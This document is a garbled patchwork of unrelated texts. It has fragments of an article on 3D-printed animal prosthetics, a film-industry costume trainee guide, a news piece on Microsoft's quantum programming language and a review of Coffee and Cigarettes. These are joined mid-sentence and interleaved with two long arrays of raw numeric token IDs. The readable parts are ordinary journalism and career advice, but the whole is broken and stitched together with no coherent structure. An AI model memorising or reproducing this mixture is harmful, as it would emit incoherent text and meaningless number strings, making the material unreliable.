structure on top of his bill. A veterinarian confirmed that the crack was caused by cancer, and would require surgery. A surgical team was able to remove the cancer, but that also involved removing a large part of the bird’s casque. He will regrow a new casque eventually, but until he does, Jary has a nice new 3D printed casque which he even dyed yellow with his own tail feathers. Hasan Kizil of Turkey is known as “the life repairer,” as he creates prosthetics and walkers for injured animals for free. When a child brought an injured eagle to him, Kizil used 3D printing to create a prosthetic foot, replacing the claws that the bird had lost. With part of its foot missing, the eagle was unable to take off and fly, but the 3D printed prosthetic allowed it to return to the sky. Elsewhere in the Animal Kingdom Daisy and Tim are two tortoises of vastly different sizes but with one thing in common – they both suffered from damaged shells. Daisy was struck by a car, while Tim was injured by an overly curious puppy. Both of the tortoises had the damaged parts of their shells replaced with 3D printed pieces. Both were able to recover nicely – and even became friends, as much as tortoises do. Kodiak the sloth was having dental troubles. An off-set jaw and elongated teeth made it difficult for him to eat, as he could not close his mouth properly. A team of veterinary, dental and medical professionals used CT scanning, 3D modeling and 3D printing to create a physical model of the sloth’s jaw, which was used to plan a tooth reduction surgery. It’s not only prosthetics, implants and medical models that have been
[ 3313, 16541, 15, 187, 187, 7845, 1056, 2119, 281, 873, 598, 634, 29838, 11733, 2605, 275, 247, 1039, 326, 588, 8046, 368, 281, 320, 5185, 342, 634, 1180, 272, 15, 1198, 1650, 13, 604, 368, 1472, 2516, 6212, 368, 778, 7617, 281, 2605, 634, 29838, 11733, 347, 20235, 520, 15, 15358, 417, 281, 564, 6890, 634, 21453, 1512, 1199, 13, 672, 352, 3249, 281, 253, 990, 273, 253, 2891, 807, 313, 19591, 608, 394, 582, 368, 457, 250, 1469, 281, 971, 281, 1978, 1841, 347, 2969, 347, 1896, 15, 187, 187, 1276, 310, 253, 873, 1162, 3008, 5464, 323, 19394, 2758, 273, 253, 12805, 2123, 4487, 32, 187, 187, 10195, 13, 2167, 417, 512, 13, 22507, 588, 1918, 49303, 327, 873, 2793, 1223, 2444, 275, 253, 7811, 15, 380, 873, 3126, 310, 12401, 2712, 368, 778, 452, 7407, 281, 3522, 13, 285, 627, 403, 2176, 11646, 273, 2589, 326, 3198, 281, 320, 2540, 15, 1310, 368, 403, 10748, 28819, 6600, 13, 46200, 285, 33056, 422, 840, 873, 1162, 3008, 5464, 943, 1246, 642, 16909, 323, 368, 15, 1284, 247, 28067, 1140, 22593, 368, 943, 320, 1563, 5044, 873, 1162, 3008, 5464, 323, 253, 19394, 9503, 13, 533, 604, 368, 971, 281, 1056, 271, 13214, 1060, 403, 247, 1643, 4803, 281, 789, 407, 27, 187, 187, 19577, 428, 1663, 8028, 281, 253, 16072, 326, 403, 1469, 327, 1475, 368, 15, 27817, 12542, 476, 1818, 387, 247, 2774, 457, 84, 4366, 323, 28067, 13, 285, 347, 253, 1140, 22593, 368, 476, 320, 253, 581, 277, 3834, 896, 281, 253, 19150, 15, 187, 187, 3633, 281, 871, 634, 5024, 273, 3665, 15, 1198, 2457, 12255, 313, 338, 368, 403, 2546, 281, 1361, 562, 10, 452, 247, 1007, 387, 253, 5724, 281, 923, 752, 253, 3665, 1979, 310, 28, 604, 352, 457, 84, 247, 2810, 598, 368, 1053, 457, 85, 878, 281, 8138, 673, 35952, 271, 12353, 434, 12682, 428, 5734, 253, 12353, 434, 12682, 403, 253, 2810, 598, 15, 187, 187, 5498, 457, 85, 25885, 15, 1310, 368, 403, 2444, 327, 247, 1943, 3275, 342, 690, 329, 14, 77, 8328, 13, 1053, 457, 85, 25885, 387, 731, 1223, 597, 403, 33558, 272, 390, 1469, 323, 247, 1379, 15, 16688, 28067, 368, 403, 1469, 281, 320, 4845, 4942, 2810, 281, 253, 2250, 13, 1007, 387, 253, 5724, 533, 1053, 457, 85, 9539, 352, 15, 380, 1682, 2181, 368, 476, 513, 310, 1978, 271, 5130, 327, 253, 1462, 1615, 28067, 13, 3698, 849, 597, 1246, 3746, 15, 187, 187, 1276, 943, 309, 1379, 342, 479, 327, 619, 806, 1388, 32, 187, 187, 30271, 253, 1072, 347, 253, 10338, 484, 4487, 13, 22507, 588, 1902, 49303, 281, 12666, 342, 247, 5044, 6119, 13, 3340, 604, 253, 17039, 16965, 731, 4830, 873, 342, 1462, 1615, 28067, 15, 5402, 5044, 6119, 943, 2882, 273, 27, 187, 187, 25376, 7351, 187, 187, 4316, 43842, 187, 187, 32783, 868, 285, 17059, 187, 187, 49, 968, 428, 281, 2486, 5252, 23854, 273, 718, 7551, 9552, 285, 7619, 23854, 15, 187, 187, 1328, 293, 18234, 793, 187, 187, 5072, 284, 981, 11173, 187, 187, 45, 565, 20173, 187, 187, 44480, 18967, 265, 187, 187, 53, 37841, 11173, 187, 187, 9030, 489, 187, 187, 49, 1205, 47701, 313, 296, 404, 8570, 12949, 18967, 265, 10, 187, 187, 8497, 3305, 285, 4331, 313, 20261, 253, 9479, 466, 310, 253, 4491, 434, 46680, 9928, 10705, 13, 352, 476, 320, 667, 10, 187, 187, 2019, 4521, 48820, 187, 187, 1276, 3038, 717, 309, 2779, 281, 789, 32, 187, 187, 1909, 342, 512, 10402, 665, 789, 275, 253, 8542, 20036, 13, 253, 1897, 588, 320, 1048, 15, 1422, 588, 3164, 320, 2819, 387, 1249, 3038, 327, 6568, 13, 534, 9142, 2097, 1475, 2145, 14, 1010, 3038, 247, 1388, 13, 2800, 1897, 247, 2129, 15, 380, 12805, 2123, 4487, 3548, 457, 85, 323, 4130, 15, 10351, 432, 37845, 11303, 13, 2080, 432, 3477, 13, 2758, 273, 253, 28067, 34298, 327, 253, 13870, 285, 5691, 436, 7811, 10262, 15, 187, 187, 47033, 368, 434, 3346, 187, 187, 3220, 3973, 21591, 275, 15913, 651, 751, 281, 5717, 35463, 13134, 8541, 323, 9628, 521, 385, 44929, 1090, 285, 4933, 598, 521, 673, 281, 3959, 7535, 323, 436, 5249, 7102, 15, 187, 187, 22196, 776, 25116, 5901, 187, 187, 2214, 42258, 13536, 547, 13, 21591, 34600, 2135, 13, 285, 15173, 15185, 15, 844, 403, 1060, 281, 1361, 368, 13, 594, 6604, 441, 327, 776, 6745, 1387, 285, 2312, 281, 441, 2, 16880, 457, 84, 747, 12425, 3448, 310, 1160, 323, 6318, 12823, 187, 187, 3039, 581, 273, 253, 806, 3367, 12823, 13, 253, 1219, 893, 343, 854, 10695, 2210, 2112, 275, 14828, 13, 9664, 369, 4704, 342, 247, 10717, 3448, 13, 1219, 893, 343, 19253, 1864, 15, 733, 5605, 281, 320, 9696, 5480, 672, 6318, 12823, 564, 17068, 13, 594, 352, 556, 34800, 247, 747, 10717, 3448, 285, 643, 5657, 323, 253, 14484, 32838, 13817, 387, 697, 25619, 614, 8059, 15, 1422, 1833, 1335, 878, 281, 2096, 1165, 538, 953, 285, 643, 12504, 12342, 13, 533, 407, 24399, 5899, 11515, 751, 330, 4, 285, 13814, 13, 9664, 588, 1056, 352, 6927, 281, 513, 17068, 12672, 327, 253, 2570, 10679, 15, 187, 187, 42175, 12672, 310, 39316, 2834, 281, 15909, 1969, 1014, 21314, 434, 346, 24393, 1216, 434, 16398, 3, 310, 17053, 314, 34350, 15, 496, 16585, 9664, 434, 747, 21823, 13, 7641, 27982, 1925, 253, 12057, 346, 73, 1321, 19644, 545, 982, 937, 285, 672, 2546, 604, 344, 812, 6266, 352, 275, 581, 6197, 13, 11191, 5973, 25624, 5021, 753, 346, 42, 1053, 626, 1158, 594, 15, 309, 5730, 309, 812, 449, 187, 187, 2598, 13, 1339, 434, 816, 2312, 670, 752, 352, 476, 513, 13, 840, 15, 2896, 3192, 5750, 273, 253, 9241, 273, 45616, 285, 26294, 13, 6318, 12823, 476, 8415, 2176, 3510, 273, 3237, 28596, 7938, 685, 253, 1682, 2221, 16777, 398, 15, 346, 1147, 651, 1581, 10950, 281, 513, 30745, 275, 2909, 390, 3038, 326, 651, 1379, 253, 12702, 273, 253, 10325, 327, 1014, 253, 954, 7269, 8946, 12823, 937, 9664, 11424, 15, 346, 2773, 13, 275, 1614, 13, 651, 1599, 326, 952, 812, 1089, 9172, 281, 8249, 3533, 3786, 1869, 440, 31984, 494, 449, 187, 187, 16880, 310, 8069, 3652, 247, 3448, 323, 12823, 326, 1053, 626, 1663, 2226, 2568, 15, 380, 954, 7269, 5661, 5145, 13, 247, 1668, 16, 1166, 38294, 1566, 13, 369, 4270, 407, 21314, 285, 556, 1408, 689, 7469, 13, 933, 4679, 15, 733, 434, 2080, 432, 1146, 4704, 323, 6264, 4893, 13, 2167, 15, 7967, 10063, 4102, 34800, 271, 15952, 281, 1973, 6264, 6318, 12823, 1925, 21314, 1165, 13, 285, 556, 2168, 4439, 697, 1211, 10717, 5657, 3066, 271, 8990, 1925, 253, 21314, 25136, 26962, 15, 187, 187, 16880, 434, 10717, 3448, 2506, 626, 452, 247, 1416, 2568, 13, 533, 253, 2567, 2168, 556, 5827, 323, 6318, 12672, 275, 14980, 15, 496, 1798, 13, 352, 11121, 326, 253, 10679, 812, 320, 908, 281, 6194, 697, 26135, 3230, 5865, 13372, 275, 1897, 3185, 273, 2607, 15, 346, 9586, 604, 3253, 2010, 369, 253, 1072, 13, 26135, 3230, 651, 3157, 1884, 2069, 7938, 937, 9664, 434, 2561, 7015, 20577, 353, 1504, 466, 2296, 15, 187, 187, 1992, 755, 6318, 12672, 2444, 625, 4541, 13, 9664, 434, 4177, 10527, 22780, 13, 6277, 8377, 264, 1342, 313, 27490, 582, 310, 2820, 281, 1973, 1097, 253, 10309, 285, 3694, 323, 247, 346, 3956, 1975, 6318, 4382, 3, 313, 42, 1353, 417, 1014, 1469, 281, 1611, 281, 5513, 326, 481, 1916, 326, 4388, 13, 344, 556, 17875, 346, 8826, 273, 253, 1533, 434, 638, 358, 14622, 35341, 14, 30596, 285, 10527, 26289, 1346, 13, 4753, 10950, 13, 39011, 2458, 285, 4382, 10950, 937, 9664, 2296, 15, 187, 187, 16880, 310, 671, 2444, 327, 253, 4382, 3139, 13, 533, 281, 755, 39335, 598, 281, 3885, 13, 352, 434, 20437, 253, 10717, 5657, 323, 12259, 285, 4382, 10950, 15, 346, 510, 1072, 2127, 326, 368, 1472, 3515, 3063, 275, 9864, 368, 476, 1408, 10873, 327, 776, 6318, 4382, 937, 2296, 6318, 12672, 3694, 1421, 611, 11925, 66, 322, 87, 410, 15, 187, 187, 38861, 4212, 476, 26065, 3237, 326, 2430, 598, 281, 1884, 13760, 42414, 13, 1223, 16100, 6383, 755, 3387, 42414, 273, 1612, 313, 783, 625, 42414, 13, 253, 7938, 253, 5145, 481, 346, 29618, 398, 1293, 6318, 15040, 476, 2686, 1067, 6318, 749, 27861, 1100, 13, 390, 3630, 6430, 273, 10717, 7997, 13, 2444, 598, 281, 4028, 247, 3426, 6318, 2086, 937, 9664, 2296, 15, 187, 187, 1147, 1537, 320, 36521, 1078, 47864, 12823, 403, 4704, 13, 347, 597, 4390, 2430, 2822, 14, 32816, 5058, 9208, 281, 3464, 275, 247, 6474, 1375, 15, 24258, 849, 10458, 352, 310, 281, 16384, 634, 1481, 1475, 253, 12342, 13, 2299, 13, 368, 778, 878, 253, 673, 15, 1310, 368, 1472, 6110, 275, 2820, 253, 747, 6318, 12672, 3448, 13, 368, 476, 861, 598, 1060, 15, 36, 23520, 285, 330, 304, 22131, 187, 187, 7878, 2102, 466, 18425, 8438, 500, 1513, 316, 348, 11167, 16607, 28, 84, 806, 3085, 1580, 7544, 11167, 16607, 28, 84, 26291, 21048, 27, 380, 10834, 273, 253, 5769, 40172, 310, 436, 2962, 273, 8723, 382, 362, 525, 23314, 15, 5815, 581, 8687, 10575, 273, 767, 390, 1264, 952, 516, 2383, 272, 35644, 1223, 10470, 1475, 247, 2829, 275, 247, 1345, 1659, 15, 380, 8208, 310, 3846, 4029, 17325, 533, 13, 347, 342, 512, 33039, 30511, 6590, 273, 436, 1511, 13, 253, 1543, 6889, 32251, 432, 10076, 281, 10076, 15, 187, 187, 510, 5909, 9037, 310, 7429, 40114, 14555, 28, 998, 6324, 281, 35404, 1422, 11167, 16989, 28, 285, 6114, 49335, 46773, 6029, 525, 74, 313, 14660, 310, 34718, 10, 285, 253, 5431, 32748, 14, 28619, 43778, 19436, 17025, 16585, 247, 4143, 281, 253, 40069, 15, 733, 12345, 34756, 2620, 2909, 13, 533, 326, 11167, 16607, 28, 84, 2620, 2909, 1512, 1048, 347, 253, 6200, 4566, 17663, 15, 496, 40114, 14555, 28, 14191, 968, 13, 11167, 16989, 28, 19322, 322, 37333, 8652, 49732, 285, 19661, 26379, 26861, 1452, 285, 8174, 466, 8652, 1089, 3746, 275, 247, 33199, 277, 7068, 1146, 13308, 2220, 407, 11819, 19523, 336, 7373, 313, 40, 5465, 3645, 481, 9937, 253, 26664, 11167, 16607, 28, 21915, 13, 344, 1404, 5351, 2220, 731, 342, 6281, 273, 49177, 3327, 2205, 11167, 16607, 28, 84, 27710, 10319, 19661, 4929, 13, 253, 4688, 49177, 15, 1284, 21220, 347, 19523, 336, 7373, 310, 13, 271, 10501, 10586, 22713, 310, 562, 273, 521, 3986, 15, 187, 187, 510, 1682, 8223, 556, 330, 366, 2071, 1377, 6168, 442, 4882, 1097, 5810, 15, 330, 366, 285, 19787, 2205, 13, 665, 403, 6994, 7285, 37827, 15, 330, 366, 310, 247, 7612, 1190, 30912, 554, 14, 15160, 17217, 14, 881, 1223, 19787, 2205, 310, 247, 30304, 305, 837, 259, 1136, 12424, 2509, 247, 24112, 5405, 1417, 13214, 15, 1583, 1790, 275, 253, 36591, 273, 247, 14567, 3847, 8614, 835, 330, 366, 310, 15966, 275, 247, 2315, 26246, 292, 323, 617, 6323, 3085, 15, 1500, 14177, 617, 1682, 281, 18045, 19787, 2205, 5207, 703, 11210, 11167, 16607, 28, 85, 2326, 275, 1107, 13, 1223, 19787, 2205, 5841, 4116, 281, 285, 840, 5597, 265, 1046, 330, 366, 269, 10422, 7222, 347, 16864, 14, 356, 3161, 1242, 347, 1896, 15, 2071, 1377, 6168, 442, 310, 37750, 4882, 4951, 637, 281, 5972, 15, 187, 187, 9917, 12532, 310, 40114, 14555, 28, 6080, 2811, 275, 5002, 11167, 16989, 28, 275, 534, 309, 1266, 90, 12278, 313, 48686, 6258, 10, 3249, 762, 253, 17452, 14, 19579, 12262, 7990, 273, 6270, 23224, 953, 313, 3220, 33493, 9730, 481, 23224, 953, 3537, 13505, 285, 29698, 1016, 15377, 4385, 309, 1266, 90, 2789, 715, 271, 46504, 20423, 15, 496, 247, 1077, 17127, 9326, 13, 309, 1266, 90, 7819, 562, 281, 320, 3240, 253, 14123, 12353, 13, 2167, 23224, 953, 310, 253, 1711, 8534, 1133, 875, 253, 767, 20230, 15, 187, 187, 510, 760, 643, 8223, 273, 3877, 13, 40114, 14555, 28, 36, 528, 968, 32, 11167, 16989, 36739, 8687, 24179, 24429, 1758, 285, 11819, 2434, 19356, 4804, 323, 10331, 15, 2434, 19356, 3936, 1046, 5107, 281, 4512, 3968, 13, 50124, 697, 10331, 13, 253, 269, 1225, 621, 13, 285, 8742, 9757, 15, 329, 16907, 5369, 30981, 24429, 1758, 4558, 48301, 1223, 521, 30446, 12141, 1057, 521, 1682, 281, 8773, 1919, 344, 4720, 4850, 521, 1705, 1135, 593, 15, 380, 6200, 2789, 27625, 350 ]	National Insurance. Please make sure to set up your invoicing structure in a way that will enable you to be consistent with your numbering. For example, if you're John Smith you may decide to structure your invoicing as JS01. Try not to go changing your formats too much, when it comes to the end of the tax year (April 5th), you’re going to want to keep things as simple as possible. What is the set etiquette for junior members of the Costume Department? Many, though not all, designers will give trainees on set experience while working in the department. The set environment is unlike anything you may have experienced to date, and there are certain codes of conduct that needs to be observed. If you are naturally spatially aware, proactive and attentive then set etiquette should present no mystery for you. As a costume trainee you should be following basic set etiquette for the junior roles, but if you want to make an impression here are a few rules to work by: Listen - really listen to the conversations that are going on around you. Situations can change at a moment’s notice for costume, and as the trainee you can be the one dashing back to the trailer. Get to know your edge of frame. For final checks (if you are asked to help out) have a look at the monitor to see what the frame size is; if it’s a close up you don’t need to waste time polishing an actor's shoes - unless the actor's shoes are the close up. Don’t stare. If you are working on a big production with some A-listers, don’t stare at them while they are rehearsing or going for a take. Being costume you are going to be placed relatively close to the action, look at the monitor but don’t crowd it. The best thing you can do is keep an eye on the standby costume, watch how they present themselves. What should I take with me on my first day? Much the same as the Makeup Department, designers will expect trainees to arrive with a basic kit, especially if the designer sends them onto set with standby costume. Your basic kit should consist of: Clear bag Scissors Needles and threads Pins - to include safety pins of assorted sizes and dress pins. Heel grips Measuring tape Lint roller Baby wipes Toupe tape Glue Penguins (stain removal mini wipes) Notebook and pen (although the sharpie is the industry's favoured permanent marker, it can be any) Clothes brushes What hours am I likely to work? As with all crew who work in the practical departments, the days will be long. You will probably be looking at 12 hours on camera, which ultimately means around 13-15 hours a day, six days a week. The Costume Department isn’t for everyone. Far from glamorous, far from easy, members of the costume thrive on the pace and challenge this department presents. thank you's... My First Job in Film would like to thank Lance Milligan for sharing his expereince and giving up his time to offer advice for this career guide. Join ourFacebook Group For Career Advice, Job Feedback, and CV Support. We are here to help you, so join us on our Facebook group and talk to us!Microsoft’s new coding language is made for quantum computers When one of the first personal computers, the Altair 8800 came along in 1976, Microsoft was ready with a programming language, Altair BASIC. It wants to be equally prepared when quantum computers go mainstream, so it has unveiled a new programming language and other tools for the futuristic tech at its Ignite conference. You'll still need to understand Qubits and other weird concepts, but by integrating traditional languages like C# and Python, Microsoft will make it easier to do mainstream computing on the complex machines. Quantum computing is famously difficult to grasp -- even IBM's "Beginner's Guide" is laughingly opaque. In discussing Microsoft's new initiatives, Bill Gates called the physics "hieroglyphics," and when asked if he could describe it in one sentence, Satya Nadella said "I don't think so. I wish I could." So, let's just talk about what it can do, then. By taking advantage of the principles of superposition and entanglement, quantum computers can solve certain types of problems exponentially faster than the best supercomputers. "It would allow scientists to do computations in minutes or hours that would take the lifetime of the universe on even the most advanced classical computers," Microsoft explains. "That, in turn, would mean that people could find answers to scientific questions previously thought unanswerable." Microsoft is effectively building a language for computers that don't really exist yet. The most advanced experimental machine, a 16/17 qubit model, was built by IBM and has run over 300,000 experiments. It's far from being ready for commercial applications, though. Big Blue recently unveiled an initiative to build commercial quantum computers called IBM Q, and has already released its own programming tools via an API called the IBM Quantum Experience. Microsoft's programming language doesn't have a name yet, but the company already has plans for quantum computing in AI. In particular, it thinks that the machines could be used to train its Cortana digital assistant in days instead of months. "Even if everything else was the same, Cortana would improve 30 times faster," Microsoft's research chief Craig Mundie says. To get quantum computing working more quickly, Microsoft's star theoretical researcher, Michael Freedman (below), is trying to build both the hardware and software for a "topological quantum computer" (I'm not even going to try to explain that). To that aim, he has recruited "some of the world's preeminent condensed-matter and theoretical physicists, materials scientists, mathematicians and computer scientists," Microsoft says. Microsoft is also working on the computer itself, but to get programmers up to speed, it's releasing the programming tools for developers and computer scientists. "The same code that you're running today in simulation you can run tomorrow on our quantum computer," says quantum computing software lead Krysta Svore. Individual users can simulate problems that require up to 30 logical qubits, while enterprise customers get 40 qubits of power (the more qubits, the faster the machine). "Developers without quantum expertise can actually call quantum subroutines, or write sequences of programming instructions, working up to writing a complete quantum program," Microsoft says. It might be awhile before commercials computers are ready, as they currently require near-absolute zero temperatures to remain in a stable state. Considering how tough it is to wrap your head around the concepts, however, you may need the time. If you're interested in trying the new quantum computing language, you can sign up here.Coffee and Cigarettes American Indie veteran Jim Jarmuschs first film since 1999s Ghost Dog: The Way of the Samurai is this series of minimalist vignettes. Each one involves variations of two or three people imbibing caffeine while smoking around a table in a public place. The intention is deadpan comedy but, as with all omnibus films of this type, the results vary wildly from scenario to scenario. The opening episode is entitled Strange to Meet You and stars manic Roberto Benigni (Life is Beautiful) and the typically poker-faced comedian Steven Wright discussing a visit to the dentist. It barely lasts five minutes, but thats five minutes too long as the scene goes nowhere. In Twins, occasional Spike Lee collaborators and twin siblings Cinque and Joie Lee find themselves in a Memphis diner being waited upon by Steve Buscemi (Ghost World). Despite the twins objections, he prevails upon them with stories of Elvis Presleys hypothetical evil twin brother, the fat Elvis. As talented as Buscemi is, an authentic Southern accent is out of his reach. The best segment has Cate Blanchette playing both characters. Cate and Shelley, who are polar opposite cousins. Cate is a Meryl Streep-everywoman-type while Shelley is a punk goth wannabe doing a Lucy Lawless impression. They sit in the lounge of a ritzy hotel where Cate is engaging in a press junket for her latest film. She tries her best to accommodate Shelley whom she hasnt seen in years, while Shelley calls attention to and then dismisses every Cate faux pas as passive-aggressively as possible. Blanchette is hilarious playing straight man to herself. Also promising is Somewhere in California in which Iggy Pop (Snow Day) comes under the ultra-sensitive targeting scope of Tom Waits (Mystery Men). Waits analyzes and transforms each innocent comment Iggy makes into an unintended insult. In a very pleasant surprise, Iggy turns out to be quite the accomplished actor, though Waits is the old acting hand between the two musicians. The only other segment of note, Cousins?, involves Alfred Molina and Steve Coogan meeting for tea. Coogan takes every opportunity to slight America, insulting its tea, the fashions, and Los Angeles. A seemingly unfazed Molina remains complimentary while his rude guest does his best to escape until he finally gets his comeuppance. The scene makes dexter
[ 510, 806, 2181, 326, 10903, 479, 310, 326, 253, 7088, 12972, 18567, 11982, 4263, 22668, 2506, 626, 452, 247, 346, 531, 1979, 13840, 512, 3, 815, 27154, 7868, 13, 347, 352, 2987, 327, 36441, 560, 459, 15, 380, 7088, 12972, 14445, 403, 31445, 533, 627, 403, 1264, 9552, 281, 1339, 368, 5206, 253, 954, 4569, 581, 323, 368, 15, 187, 187, 25074, 428, 2434, 735, 5818, 9552, 500, 14, 49, 15, 1720, 34274, 323, 2255, 390, 1821, 342, 1355, 3564, 16, 41822, 398, 313, 2520, 310, 479, 428, 309, 452, 10058, 7356, 9881, 13724, 187, 187, 46374, 1108, 2434, 735, 5818, 9552, 427, 14, 52, 15, 187, 187, 31727, 1108, 2434, 735, 5818, 9552, 322, 1108, 59, 15, 187, 187, 510, 5818, 556, 281, 320, 548, 30930, 327, 634, 1652, 9185, 342, 253, 1355, 3317, 713, 313, 5658, 476, 923, 352, 327, 253, 2460, 1840, 10, 327, 253, 3304, 285, 368, 29684, 352, 281, 755, 247, 1175, 4944, 15, 2091, 309, 369, 4361, 949, 253, 6239, 352, 5936, 326, 13, 275, 253, 6284, 273, 714, 249, 19028, 13, 326, 2255, 943, 8251, 253, 5818, 327, 616, 1669, 9185, 533, 352, 671, 2296, 326, 4536, 13, 5536, 3802, 43770, 778, 878, 281, 897, 374, 14445, 313, 309, 369, 247, 1652, 11926, 387, 436, 1127, 326, 309, 778, 878, 625, 685, 767, 10, 187, 187, 1231, 574, 644, 327, 13319, 533, 253, 6150, 2329, 574, 2218, 2717, 323, 619, 3802, 4263, 13, 594, 342, 253, 1091, 281, 776, 1211, 3722, 3407, 253, 3523, 3802, 4263, 4544, 15, 380, 806, 4564, 273, 15513, 7101, 247, 3877, 494, 7756, 533, 407, 2360, 721, 13, 8505, 619, 643, 2716, 7303, 281, 755, 247, 9106, 19951, 15513, 4600, 15, 309, 452, 281, 11476, 326, 309, 369, 247, 1652, 44743, 474, 387, 806, 13, 849, 812, 436, 1652, 5818, 3523, 619, 3802, 4263, 533, 352, 556, 15, 309, 476, 626, 362, 9764, 323, 436, 275, 697, 25983, 313, 7265, 314, 984, 309, 717, 17390, 1223, 253, 5175, 310, 1469, 327, 10, 533, 2556, 281, 253, 637, 327, 253, 13229, 13, 352, 4850, 247, 5699, 47982, 598, 15, 187, 187, 43963, 1163, 844, 497, 1677, 253, 7088, 12972, 18567, 11982, 4263, 22668, 281, 2278, 533, 253, 6849, 285, 11626, 403, 271, 8274, 285, 2032, 12906, 273, 776, 4342, 15, 50, 27, 187, 187, 2347, 281, 7472, 9136, 14440, 6001, 3280, 264, 432, 6268, 249, 187, 187, 42, 971, 281, 7472, 253, 2600, 432, 659, 69, 688, 275, 33904, 14440, 13, 751, 436, 27, 187, 13088, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 12122, 5423, 1040, 26332, 89, 3, 187, 11021, 27, 7392, 1249, 28, 187, 20810, 13, 370, 5423, 310, 417, 247, 4605, 13, 533, 247, 4155, 15, 33281, 15, 40531, 318, 15, 19996, 15, 4241, 15283, 13, 534, 1056, 26332, 89, 417, 2444, 347, 3264, 1051, 1580, 436, 581, 310, 2444, 9113, 27, 187, 39969, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 12122, 12467, 426, 12114, 13088, 1249, 7405, 3664, 370, 12467, 1040, 26332, 89, 3, 187, 11021, 27, 1249, 187, 187, 34, 27, 187, 187, 510, 1563, 651, 789, 27, 187, 11244, 247, 6001, 6172, 27, 187, 13088, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 551, 370, 5423, 1040, 26332, 89, 748, 187, 187, 3980, 897, 2014, 19101, 281, 3693, 253, 2876, 30370, 27, 187, 7392, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 34912, 5423, 1040, 26332, 89, 8, 187, 187, 601, 253, 370, 5423, 4778, 3548, 626, 11848, 13, 285, 253, 2876, 34912, 5423, 8, 310, 4817, 281, 26332, 89, 15, 187, 14358, 273, 841, 1918, 479, 346, 805, 3446, 535, 4, 187, 4, 1794, 64, 6986, 64, 18, 64, 24, 69, 187, 4, 187, 4, 13997, 87, 21, 13283, 27, 532, 13997, 1178, 187, 4, 187, 4, 544, 24494, 3123, 84, 15, 681, 62, 313, 3614, 1358, 2700, 15, 14367, 2824, 15, 681, 21714, 15350, 309, 3724, 275, 7140, 209, 187, 4, 4284, 342, 4868, 1840, 337, 285, 2363, 1679, 685, 818, 69, 187, 4, 187, 4, 353, 1143, 7566, 50272, 27, 15350, 3123, 84, 15, 681, 187, 4, 353, 1143, 7566, 10611, 50276, 27, 5987, 1358, 2700, 15, 14367, 2824, 15, 681, 16, 187, 4, 5552, 2603, 10611, 1163, 5987, 1358, 2700, 15, 14367, 2824, 15, 681, 16, 788, 16, 3550, 16, 6986, 16, 18, 32, 486, 30, 24, 69, 187, 4, 12269, 8490, 10421, 27, 4200, 16925, 1638, 16261, 27, 3583, 27, 805, 38040, 9169, 187, 4, 187, 4, 26891, 50270, 27, 8104, 187, 4, 11099, 50269, 27, 23438, 187, 4, 187, 4, 831, 8490, 10421, 50276, 27, 4200, 16925, 1638, 15630, 27, 520, 27, 1012, 38040, 9169, 187, 4, 17251, 38544, 27, 721, 3038, 209, 187, 4, 32516, 37480, 50273, 27, 5293, 187, 4, 11198, 2246, 50269, 27, 470, 4451, 309, 3724, 187, 4, 187, 4, 13525, 1618, 1783, 13, 1690, 3471, 311, 4341, 3711, 13, 2892, 13, 187, 4, 17302, 3646, 13, 47685, 342, 643, 10894, 13, 3966, 15, 187, 4, 2130, 387, 27, 187, 4, 187, 4, 50276, 2413, 1358, 7070, 1346, 15, 11342, 11171, 15, 2061, 22549, 532, 1178, 30, 4193, 64, 6986, 64, 18, 64, 24, 69, 187, 4, 187, 4, 41415, 407, 8726, 41, 3271, 434, 5731, 14, 532, 19598, 15, 1200, 187, 4, 12639, 264, 342, 8726, 41, 3271, 434, 13997, 6324, 187, 4, 187, 25438, 4606, 2139, 253, 26862, 495, 5942, 310, 8679, 14, 4894, 272, 342, 40178, 187, 187, 19234, 556, 4783, 3430, 15, 36072, 436, 807, 13, 253, 495, 5942, 369, 46156, 407, 26862, 347, 697, 954, 5547, 45848, 8027, 281, 3522, 15, 1723, 13, 846, 253, 288, 636, 265, 273, 26862, 34097, 265, 497, 6699, 8871, 598, 616, 985, 387, 21811, 13, 6224, 3407, 281, 10343, 9648, 9086, 15, 1893, 9086, 13, 275, 958, 13, 326, 407, 4162, 3435, 13, 581, 1770, 846, 253, 985, 457, 84, 3919, 3435, 8027, 13, 26862, 3918, 322, 1080, 86, 309, 88, 682, 5544, 281, 12946, 326, 253, 18436, 72, 1981, 985, 574, 2168, 4242, 281, 2525, 253, 2567, 457, 84, 12656, 15, 3932, 840, 13, 1841, 452, 12759, 247, 2257, 7197, 15, 16513, 4829, 512, 2045, 26862, 45848, 84, 13, 253, 495, 5942, 556, 574, 7596, 2970, 745, 253, 3216, 15, 3824, 1943, 1953, 310, 2139, 32, 4952, 949, 253, 31056, 2069, 387, 26862, 13, 672, 49261, 751, 253, 10850, 36, 4338, 23265, 19460, 281, 3297, 9338, 13, 26862, 457, 84, 10850, 12143, 285, 20807, 45848, 84, 452, 14667, 26447, 689, 253, 45848, 2165, 4491, 1905, 271, 4491, 26862, 3562, 8007, 3622, 15, 187, 187, 510, 495, 5942, 310, 10156, 594, 15225, 326, 26862, 556, 6138, 326, 352, 588, 2624, 253, 4376, 273, 253, 495, 5942, 432, 370, 9519, 281, 370, 15046, 327, 4223, 1903, 13, 285, 3918, 309, 88, 682, 588, 2624, 521, 1211, 16268, 407, 2456, 2558, 13, 2112, 342, 253, 32510, 273, 2067, 643, 1029, 14, 47883, 26862, 23289, 15, 773, 42, 1928, 10260, 28461, 323, 1907, 281, 1056, 253, 1616, 3487, 13515, 846, 253, 8027, 13, 323, 1907, 13572, 776, 11349, 457, 4517, 13, 323, 1907, 1160, 247, 1534, 3486, 2220, 253, 4832, 43942, 13, 323, 253, 7970, 43690, 1024, 1146, 3264, 281, 320, 3012, 1679, 685, 8927, 3264, 285, 323, 1024, 16923, 272, 326, 627, 588, 320, 642, 26964, 43690, 1806, 753, 309, 88, 682, 15, 187, 187, 2598, 13, 604, 253, 495, 5942, 310, 10156, 436, 15225, 13, 359, 452, 281, 1642, 27, 2139, 32, 26862, 457, 84, 1386, 273, 20807, 3580, 556, 644, 4633, 323, 5093, 1107, 15, 1737, 457, 84, 1027, 1024, 32, 